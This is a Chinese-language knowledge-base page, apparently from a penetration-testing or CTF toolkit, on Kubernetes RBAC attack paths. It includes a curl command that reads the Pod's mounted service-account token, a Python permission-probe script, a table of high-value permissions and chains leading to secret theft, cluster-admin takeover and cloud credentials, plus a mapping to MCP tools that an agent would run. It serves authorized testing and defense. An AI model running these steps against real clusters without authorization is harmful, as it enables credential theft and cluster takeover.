Skip to content

Kubernetes RBAC 攻击路径 ​

场景 ​

已经获得 Pod 内命令执行、泄露的 kubeconfig,或 SSRF 能访问 Kubernetes API。目标是判断当前身份在 namespace 和 cluster 维度能做什么,并找出从低权限到读 secret、exec、创建 workload 或云凭证访问的最短路径。

输入信号 ​

  • /var/run/secrets/kubernetes.io/serviceaccount/token 存在
  • 环境变量中有 KUBERNETES_SERVICE_HOST
  • kubeconfig 泄露,包含 client-certificate-data 或 bearer token
  • API 返回 Forbidden 但暴露了当前 user/group
  • kubectl auth can-i 对部分 verbs 返回 yes

Pod 内身份确认 ​

bash
TOKEN=/var/run/secrets/kubernetes.io/serviceaccount/token
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
API=https://kubernetes.default.svc

curl --cacert "$CA" -H "Authorization: Bearer $(cat $TOKEN)" \
  "$API/api"

如果能访问 API,继续做 SelfSubjectRulesReview 或逐项 SelfSubjectAccessReview。

权限探针 ​

python
# k8s_rbac_probe.py - RBAC 可打权限矩阵
import json
import os
import requests

TOKEN_PATH = "/var/run/secrets/kubernetes.io/serviceaccount/token"
CA_PATH = "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
API = "https://kubernetes.default.svc"

CHECKS = [
    ("", "pods", "list"),
    ("", "pods", "create"),
    ("", "pods/exec", "create"),
    ("", "secrets", "get"),
    ("", "configmaps", "list"),
    ("", "serviceaccounts/token", "create"),
    ("apps", "deployments", "patch"),
    ("rbac.authorization.k8s.io", "rolebindings", "create"),
    ("rbac.authorization.k8s.io", "clusterrolebindings", "create"),
]

def can_i(group, resource, verb, namespace="default"):
    token = open(TOKEN_PATH, encoding="utf-8").read().strip()
    body = {
        "apiVersion": "authorization.k8s.io/v1",
        "kind": "SelfSubjectAccessReview",
        "spec": {"resourceAttributes": {
            "namespace": namespace,
            "group": group,
            "resource": resource,
            "verb": verb,
        }},
    }
    r = requests.post(
        f"{API}/apis/authorization.k8s.io/v1/selfsubjectaccessreviews",
        headers={"Authorization": f"Bearer {token}"},
        json=body,
        verify=CA_PATH,
        timeout=5,
    )
    status = r.json().get("status", {})
    print(f"{verb:8s} {group or 'core':30s} {resource:28s} allowed={status.get('allowed')}")

for item in CHECKS:
    can_i(*item)

高价值权限解释 ​

权限攻击意义验证方式
secrets/get读取凭证、token、数据库密码下一跳打 DB、云凭证或镜像仓库
pods/exec create进入其他 Pod,横向读取业务环境变量下一跳挑高权限 Pod 或业务后端
pods/create创建自控 Pod、挂载 SA、尝试 hostPath下一跳 privileged/hostPath/IRSA
serviceaccounts/token create为其他 SA 签发 token下一跳切换身份重跑权限矩阵
rolebindings/create在 namespace 内扩大权限下一跳绑定 edit/admin
clusterrolebindings/create集群级接管下一跳绑定 cluster-admin

攻击链 ​

text
Pod RCE → SA token → can-i secrets/get → 读业务 secret → DB/Flag
Pod RCE → can-i pods/exec → exec 到高权限 Pod → 读云凭证
Pod RCE → can-i pods/create → 创建挂载高权限 SA 的 Pod → secrets/list
Leaked kubeconfig → rolebinding create → 绑定 edit/admin → namespace 接管
K8s service account → IRSA → AWS AssumeRoleWithWebIdentity → 云资源访问

Evidence ​

记录: 当前 namespace、service account 名、can-i 检查矩阵、允许的高价值权限、下一跳 pod/secret/rolebinding、成功返回码。

MCP 工具映射 ​

攻击步骤MCP 工具说明
API 可达性探测http_probe验证 Kubernetes API/kubelet 是否可达
知识检索kb_router按 RBAC / can-i / service account 信号搜索
权限矩阵脚本run_ctf_tool执行 RBAC 可打权限矩阵

GPL-3.0 · 仅供授权环境下的学习与防御性研究使用